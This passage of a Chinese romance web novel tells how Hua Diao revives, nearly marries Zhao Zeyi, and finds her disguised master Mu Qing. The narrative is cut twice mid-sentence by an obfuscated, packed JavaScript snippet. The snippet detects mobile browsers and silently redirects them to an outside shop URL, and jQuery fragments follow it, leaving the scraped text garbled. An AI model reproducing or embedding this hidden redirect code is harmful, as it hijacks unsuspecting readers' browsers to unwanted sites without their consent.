慕卿把花雕护得那么好,以至于最后慕卿自己死了,花雕不仅不知道事情始末,还毫发无伤地活了下来。那么好的师父,让花伶打心底里羡慕,可事后,她也怪自己狠心,就是她,把慕卿和花雕推向了一条不归路。 听说那以后花雕一直呆在望南山,还把名字改成了那人的,花雕大概,是真心爱着慕卿的吧。花伶也偷偷地去瞧过她,只见花雕巧笑嫣然,给客人们端酒,一副云淡风轻的掌柜模样。 花伶很想去问问她,在她心里,真的放下了慕卿吗? 可是她不敢,只是笼着面纱,坐在人群里,望着不远处打酒的花雕——那场火烧断了屋梁,径直地砸在了她身上,在她脸上留下了难看的疤,算是老天爷对她的惩罚吧,她已然无颜再面对花雕。 “姑娘,你也要来一壶吗?”花雕察觉到有人追随的目光,以为客人是想要喝酒,便问道。 慕卿留的钱也够花,嫁妆万两银子还放在赵泽毅那里,她也没去取。无所谓挣不挣钱,只是要让更多的人喜欢上她的酒,忆起那个名唤“慕卿”的酿酒师--只要还有一人记得他的名字,他便活在这世间。 花雕酿酒只是为了打发时光,让自己忙起来,没空去想关于慕卿的点点滴滴。 “不了不了。”花伶摆手, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14598201|156000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有意识地躲闪,怕花雕看到她的面容。 大家都说,她们俩长得很像,花伶坐在小酒馆里,薄纱后的眸子打量了很久,自己看起来,也是这般傻乎乎的吗? 回家以后,老长一段时间想起来都是花雕那一张人畜无害的脸,花伶又比对着铜镜看了很久,只觉得那是一脸的尖酸刻薄模样,自己见了都厌恶,终于忍不住问身旁的叶童舟:“我是不是很坏啊?” 叶童舟本来正跟怀中的叶念白玩耍,一听这话,无奈地叹了口气:“都过去的事了,提它干什么?” 面对花伶的自责,叶童舟又何尝心里好受过?慕卿这件事,是花伶做得不对,可惜他发现得晚了,不能悬崖勒马。 恍惚间,叶童舟仿佛看到了花伶刚来戏班的那段时间,那个跟在他身后喊他“童童哥哥”的小丫头。 那个跟在沈佳期后面,扎着羊角辫,手里拿着糖葫芦,一双眼笑成弯弯月牙的姑娘。 那个穿梭在戏班众人之间,一板一眼身着男装认真学戏的小女孩。 那个全柳源戏班最好的戏子,那个“花二爷”,那个花伶,那个她。 可惜,时光不能倒流,世上也没有后悔药,一切都回不去了…… 那场大火,叶童舟救了她,他也看出了花伶要走的决绝,选择了成全。可惜了全柳源戏班,没了台柱子,就此陨落,一大临初神话,自那以后落幕。 是花伶亲手促成了这一切。演尽了绝情之人,却没想到最后,自己从一个有情人,变成了无情人。 有宫里的画师绘了花伶的画像,画中人是个女子,顾盼神飞,眉目含情。叶童舟藏了一卷,有时候背着她偷偷拿出来看--那是最好最真实的她啊,那个不需要伪装就把自己展现得淋漓的花伶,可惜再也回不去了,真的是遗憾啊。 有时候叶童舟也期许,要是没有遇见白无垢,一直以来伴在花伶身边的都是他,那该有多好啊,可惜没有如果,世事弄人,想如果,是最寂寞的痛。 如果没有玉霄国那一场意外该多好啊,他还能在台上,同她唱遍世间有情无情。 只可惜岁月催人老,时光不留情,改颜换面,易了是非人。 两人各自回忆着往事,见她不言语,叶童舟以为她心里介怀,便不接着说下去了。 叶念白玩得累了,就爬上花伶的腿,沉沉睡去。花伶拍着怀中孩子的背,随口唱道:“大王啊,此番出战……” 叶童舟也是唱“旦”的,听出了她唱的戏段,便接道:“倘能闯出重围,请退往江东,再图复兴楚国,拯救黎民……” 都说项羽兵败垓下,若重回江东,卷土重来,乾坤未定,一切都未可知。可是,他那么骄傲,怎么舍得用自己的尊严,去当复国的筹码? 这世间,最难挽救的,其实是人心,一念成佛,一念成魔,成与败,有时候就在一个选择之间。 二人一唱一和,只可惜,再也没有那个风光一时、名满临初的花二爷,只有一个伤心人,再也等不回她的少年。 也有一个有情郎,伴着他的姑娘,一步一步,走向苍老,任由故人不再,人心蹉跎。 60. 酒尽桃花凉24 头疼得好像要炸裂开来,脑袋里似有千万只蜜蜂嗡嗡作响,还有依稀的人声传来,虽然说了什么听得并不真切。 这……是来自地狱的呼唤吗?尽管眼皮沉得睁不开,脑子里也是混沌一片,花雕还是努力地找寻着自己的意识。 内心挣扎了许久,她慢慢地睁开了眼睛,警惕地环顾着四周,却发现身边的一切都那么熟悉,那灰瓦白墙,那盆茉莉花、那梨木方桌,都还摆放在记忆中的位置。花雕立刻明白了,这里是她在赵府的房间,也就是说,她如今在全县! 花雕记得她中毒了,毒还是她自己喂的。玉霄国内没有解药,玉龙吟带着她去日辄国找大夫,可他们还没有到达,她就毒发身亡了。 对!花雕记得她死了,死在了玉龙吟的马上,死得透透的。临死前,她还看见了慕卿,他骑着白马,来接她去另一个世界,一个有他的世界。 可是现在,她在赵府,她听得到鸟语,闻得见花香,也听得到回廊里有依稀人声。花雕用力拧了一下自己的大腿,吃痛地皱眉,才发现这一切都不是梦。 身边没人,她根本无法知道事情缘由。玉霄和日辄,她应该出现在这两国之一,怎会出现在耿安赵府?想着,花雕也顾不上其他,一心想要找到赵泽毅,问个究竟。 可赵泽毅偏偏像躲着她似的,屋前屋后都寻不着。 寻找无果,花雕索性扯着嗓子,在屋里高声呼喊起来:“赵泽毅,赵泽毅你给我出来!” 赵泽毅在不远处的凉亭里,捻着酒杯看向她,也不吱声,花丫头活蹦乱跳的,看样子恢复得不错嘛。 赵泽毅正欲应花雕,却见有丫鬟走向她,顿时噤了声。 “小姐且稍安勿躁,有贵客在府,公子特地嘱咐,要我们莫要大声喧哗,免得叨扰了客人休憩。”有丫鬟见花雕这般,上前来叮嘱一番。 有客人?花雕心里咯哒跳了一下,这世间能起死回生的,赵府的客人,会不会是那个人? 抱着一丝希望,花雕试探着问了句:“那人……是男是女?” “回小姐,是位公子。” 闻言,花雕心凉了半截,不是他,他不会在赵府以女装示人。可好奇心却在作怪,府里究竟是谁,什么人值得赵泽毅如此上心? 眼见着丫鬟走远,赵泽毅远远地朝花雕打招呼:“嗨,花儿。” “我怎么活过来了?”花雕跑到他跟前,也懒得客气,开门见山问道。 “玉龙吟带你去了日辄国,找到解药,你服下,就好了呗。我就把你带回来了,你可别忘了,我们是有婚约在先的,他玉龙吟可不能横刀夺爱。”赵泽毅假装淡定,将事情始末道来。 当然,这不是事实,而是赵泽毅跟慕卿“商量”过后的版本。 “我记得我死了!”花雕似乎是对他的回答并不满意,不依不饶道。 “瞎说,傻丫头,你肯定是记错了!”赵泽毅敷衍道。 花雕随即陷入沉思,开始认真回想事情的经过。 “病刚痊愈,好好休息。”见她不反驳,赵泽毅也未多言,嘱咐了句便离去。 以花雕这种打破沙锅问到底的问法,再问下去,怕是要露馅了。 尽管赵泽毅的话是有些道理的,她就这样摆脱了玉龙吟,可花雕想不明白,自己究竟当初死没死。 即便丫鬟说了赵府的贵客是位“公子”,花雕仍然不死心,摸去客房,打算在屋外看那人一眼。 远远地,便看见那人身形摇摇欲坠,面色亦是惨白,时不时的还咳嗽几声,羸弱至极。 尽管从外形上来看,那人和慕卿没有半点相似之处,花雕却并不死心,趴在墙头,忍不住多望了两眼,意图找到半点蛛丝马迹,却见那人目光向这边望来。 屋内人发现屋外某个偷看的姑娘,淡定地披好外衣出门,礼貌问询:“姑娘,找在下何事?” 冰冷的语气,疏离的眼神,这哪里是过去那个宠爱她的慕卿会有的状态? 墙头上某个双颊通红的姑娘答道:“没……没事……” 花雕最终确定了,此人不是慕卿,仓皇地逃回屋。 屋内的丫鬟似是等她许久了,见花雕归来,毕恭毕敬地唤了声:“小姐,您回啦。” 花雕心里觉得讽刺,她一介四海为家的乡野丫头,算哪门子的小姐?也就是赵泽毅看得起她罢了。 又纳闷起之前的事来,花雕一把抓过丫鬟的皓腕,问:“我之前是不是死了?” 那丫鬟被问得莫名其妙,赶紧反驳道:“胡说,小姐被公子带回来的时候,还是个鲜活着的人儿呢。” 所有人都看到了,那天,赵泽毅赶着马车急匆匆归来,车里是已经被喂了血蛊的花雕,面色红润,又有了呼吸和心跳,只是睡着了一样。 而慕卿当时也在马车里,只是所有人都顾着接应这个传言中赵府未来的女主人去了,没人注意到他罢了。 又想到那个“贵客”,花雕紧接着问道:“那我是不是和听竹轩里那位贵客一起被带回来的?” “不是。那贵客在赵府呆了段时日,前些日子,不知怎的受了重伤……”丫鬟知无不言,将所知道的情况一一说与她听。 同为病患,花雕好得差不多了,便想去看看那位贵客,就溜到了他的住处,大大方方地敲门。 来人开了门,一脸距离感地看着她,花雕忙解释:“他们说你……伤了手?我来看看。” 那人大方地撸起袖子,将伤口展现给面前人看。 是剑伤,长条触目惊心像蛇一样盘踞在他白净的手臂上——那是他跟赵泽毅抢剑的时候划伤的。 起初,赵泽毅也好奇他怎么会活过来:“我记得,上次你不是吃了很多毒药,还被刺了十几刀?” 慕卿摇头笑了笑,耐心跟他解释。 血蛊会修复他受伤的身体,在日辄国虽然伤得很重,好歹性命被血蛊救了回来。 可因为流血过多,身体里失去了近半的血蛊。 乱葬岗的异香也是因为他流了太多的血。血蛊浸染了土地,那一片的树木也因为得到了滋养,长得高大茂硕。 “活”过来以后,慕卿就“消失”在了花雕的世界。开始是易容呆在她身边,后来她被玉龙吟带走,慕卿只身回到了黄山岛。 这次本来是在赵府和老将军叙旧的,听闻花雕受了伤,慕卿一路马不停蹄地赶去玉霄国,追着玉龙吟的脚步。 捡回来的花雕却已经断了气。 他要割腕,赵泽毅不允许,经历过上次的日辄惨剧,慕卿全身上下就剩一半的血蛊,要是都给了花雕,他身上就没有任何有血蛊时的优势,赵泽毅怕到时候血止不住,血蛊的作用尚不可知,就怕花雕救不活,慕卿也会因失血过多而死。恰好两个人抢剑的时候划伤了手,流下来的血都喂给了花雕。 花雕看着他的手,心中更加笃定,他不是慕卿,慕卿有血蛊庇佑,怎么会处理不好这么点小伤口?花雕嘘寒问暖了一番,就离开了,却不见,屋内人的目光随她走出好远,那目光里,有缱绻,亦有欣慰。 见花雕伤好得差不多了,慕卿私下里和赵泽毅闲聊时,便隔三差五地催着赵泽毅和花雕的婚事。赵泽毅索性开口问花雕:“你上回离府的时候说,回来后给我一个交代,所以回复是?” 上次临走之前说好了会回来给他交代,结果就是把自己给“交代”了? 既然是那人的意思,花雕自然是不会违背:“我会按照慕卿的想法,和你成亲,你择个良辰吉日吧,我都可以的。” 花雕都有些麻木了,她听过“成亲”这两个字眼不知道多少次。甚至上一次,她和玉龙吟拜完了堂,气愤的皇后出现在众人面前,气急败坏地指责玉龙吟问,怎么可以为了一个昭训,放着正妃不管不顾,非要拉着他去找李菀宁,婚礼流程才不得不终止。 整个赵府又开始忙碌起来,为了公子和花小姐的婚事。 遂了他的愿,赵泽毅面对慕卿时都多了几分坦然,理直气壮地对着那张陌生的脸问道:“慕卿你到底拜过多少个师父?” 慕卿莞尔,都是些江湖术士,学了些鸡毛蒜皮的本领,真正认可他又被他认可的师父,就一个无涯子。 尔后,慕卿卸去伪装,赵泽毅又感慨道:“这都十几年过去了,你的小丫头片子都长成大姑娘了,你怎么还是年轻时的模样,说,你到底是活了几千岁的老妖精?” 慕卿无奈笑道:“不都是因为血蛊啊,以后就会老的。” 调侃完他,赵泽毅又恢复一本正经的模样:“唉,我说真的,你这样不怕她伤心啊?” “小不忍则乱大谋,况且在花雕心里,我几年前就死了。” 慕卿希望还花雕自由,过她自己想过的人生,一辈子开开心心的,不被禁锢在慕卿这个名字里,做着他的提线木偶,背负着属于他的人生。 虽说花雕成亲他是高兴的,可他心里不知道为什么,就是很难过,所以在成亲前夕,慕卿决定离开,赵泽毅对外声称他是养好了伤。 正欲离去那时,花雕却突然跑到慕卿面前:“我问你,我们认识吗?” 花雕望着他的眼睛,慕卿回望着她的眼睛,面不改色心不跳:“不认识。” 不知道怎的,这人总给她一种似曾相识的感觉,花雕光顾着从他的眼睛里找答案,却忽视了他正扯着自己的袖子——每次慕卿撒谎的时候,都会下意识地去扯自己的袖子。 “那花雕祝公子未来目之所及皆为暖阳,心之所向皆安。”赵泽毅说客人有急事,才会在此时离开,她作为女主人,自然没有拦人的道理。 “鄙人为赵公子和夫人准备了贺礼,已经交与了赵公子,愿公子和夫人比翼齐眉,伉俪美满。” 这次离开,慕卿依旧是回到黄山岛去。自上次日辄国后,他身上的血蛊流失大部分,他却意外地发现,自己所受的血蛊反噬没有以前严重了,此外,他还活过了空山谷人说的半个甲子。 代价就是,他开始变得会老,会受伤。慕卿却因此格外开心,他终于不用活得像个怪物一样了。 至于血蛊究竟有没有用,他也好奇,偷偷地用刚死去的鸡鸭做实验,居然,真的活了! 这也是为什么他看到玉龙吟抱着花雕哭得死去活来却依旧淡定的原因,因为他知道,自己可以救她! 只有玉龙吟,始终都被蒙在鼓里,以为花雕已经离世。 赵府又开始忙上忙下,为了赵泽毅和花雕的婚事。日落时分,花雕得了空,蓦地瞥见桌上一把不知谁落下的剪红绸用的银制手柄小剪刀,不由得陷入回忆。 那是在湖浙的时候,花雕顽皮,从湖里捞出来一把野菱角,那菱角只有拇指盖般大小,慕卿却视若珍宝,用银柄的小剪刀,如老母亲为外出的游子缝衣般,眯着眼剪了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14598202|156000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半下午,才勉强得到一碗菱角米。 事到如今,如果那个剪菱人还在,她还会义无反顾地嫁给赵泽毅吗?花雕反问自己,眼泪又簌簌地流。 婚礼当天,花雕身着大红色的嫁衣,目光却停留在了门上贴着的“喜”字上,身形顿了一顿,这字…… 慌忙赶忙地去问赵泽毅:“慕卿呢?” “慕卿当初就死在乱葬岗,还是你亲自替他做的坟冢,你忘了吗?” 是衣冠冢,冢里只有慕卿随身的半把断剑,那剑名“归去”。 见她面上的期待,赵泽毅也不忍心让她的希望落空,坦言道:“他为了救你,把自己的血放了几大碗喂给你,因为失血过多一直在家静养,之前你在赵府里遇见的那个人,就是他。” 听说慕卿回了黄山岛,花雕衣服都来不及换,就要骑马去找他。 赵泽毅望着花雕远去的背影,没有去追,只是看着她,熟练地跨上马背,成为视野里一点小小的红。 慕卿正在练剑,他眼缚着白绫,想探寻无涯子当初的境界,却感觉到有人正朝他奔来。 慕卿的剑在花雕鼻尖两寸前戛然而止。 “慕卿你到底还要躲我躲到什么时候?在赵府你不认我,你现在要怎么解释你的出现?黄山岛上空无一人,我师公说过,他这辈子就收过我师父一个徒弟。”花雕也不问他是不是慕卿,只是泪如断珠。 那人收剑回鞘,却也淡定,问她:“怎么发现的?” 按理说,他容貌易得还不错,也换了声音,戏也演得不错,难道是赵泽毅说漏了嘴? 而事实是,喜字下有个小小的墨点,慕卿一直喜欢这么顿笔。 慕卿听了她的解释,懊恼,早知道就不该这么手贱,赵府那么多人,哪里会差他写的几个字?可是不知道当时什么想法在作怪,毫不犹豫地就提笔了,想着也算是给她燕尔新婚送一份祝福吧。 花雕解释罢,朝他声嘶力竭地说道:“你走以后,我遇见了玉龙吟,他待我很好,可我更真切地看清楚了自己的心意,我从头到尾爱的人,是你啊,我的慕卿。你可别再用什么师徒伦理骗我了,我们根本没有喝过拜师酒,没有行过拜师礼,所以你可以是我的爱人,我的夫君。那么慕卿,你愿不愿意跟我在一起?” 她哭,如雨落后的蝴蝶,饱经风雨,可他笑靥如花,白衣衬得他如谪仙般,一尘不染。 “接过我十招,我就跟你走。”慕卿拔剑丢给她,自己拿的是柄剑鞘。 “归去”留给花雕缅怀过去了,慕卿换了新剑,剑上刻了一朵小小的花,那是他心上的花儿,也就是她。 早些年,慕卿其实一直在她身边,在她遇见林青筱的时候,遇见许夜祈的时候,遇见玉龙吟的时候。 怕花雕分心,慕卿便易了容貌,有时候是浪迹天涯的漂泊诗人,有时候是半老徐娘的老妪,品她的酒,感受她的进步——她的酒馆那么香,香到完全可以掩去他身上半数血蛊的残香。 连剑都不拿,在慕卿心目中,她就这么不思进取且不堪一击,花雕惊愕,看来,被小瞧得很彻底啊…… 拿剑鞘也就算了,慕卿居然还……报起招式的名字来:“第一招,平湖秋月。” 剑气如映着秋月的湖水般潋滟开来,波光微动。 是《十音诀》,原来,在慕卿心里,她还是一点都没长大,一点都没进步,居然用这么基础的招式来试她。 慕卿大概不知道,离了他以后,花雕不止酿酒,也练剑。为什么在慕卿身边的时候总是一事无成?大概是因为被偏爱,所以有恃无恐吧。 那时候花雕真的觉得,慕卿那么厉害,能护她一辈子。后来她才懂,什么一辈子,安全感这种东西,自己给自己的,才最牢靠。 “第二招,梅花三弄。”剑气开始变得凌厉,就像一颗颗石子砸进湖里,圈起层层涟漪。 花雕也不反攻,反正慕卿说了嘛,只要接下招式就行。 “第三招,霓裳羽衣。”招式开始有多余的变化,如弦上的音符,渐渐地欢悦起来,跳动着,奔跑着。 …… 慕卿面无表情,心中却是喜的,看来,当初选择离开是对的,要是一直都留在花雕身边,她这套剑诀怕是一辈子都学不会了。 现在的花雕,除了防守,还能做到游刃有余。 “第六招,夕阳箫鼓。”话音刚落,慕卿就一脚踩到了岸边一块松动的石头上,身形恍惚了一下。 “唉!小心。”花雕见状,丢了剑,一把扑过去,把他禁锢在自己的怀抱中。 不再像小时候般玩闹撒娇,长大以后,慕卿很少抱她,这一次,花雕结结实实地贴近慕卿的怀抱,感受到他温暖的胸膛,心脏有力的跳动。 “扑通”、“扑通”…… 花雕都分不清那心跳声是自己的,还是他的,只觉得一切,都好不真实。 慕卿扯下眼上覆着的布条,见她身着火红的嫁衣,便知道,她又是在成亲之前跑出来了,无奈摆头,冤家啊,躲不过逃不脱。 花雕用她毛茸茸的脑袋亲昵地蹭着慕卿的下巴,紧紧地抱住了跟前人。 这一次,不会让他再跑了。 慕卿教会了她很多东西,却唯独没有教会她,怎样去喜欢,怎样去爱。 没关系,花雕生命中别的男孩子们教会了她,然后,她会用所学,去爱他。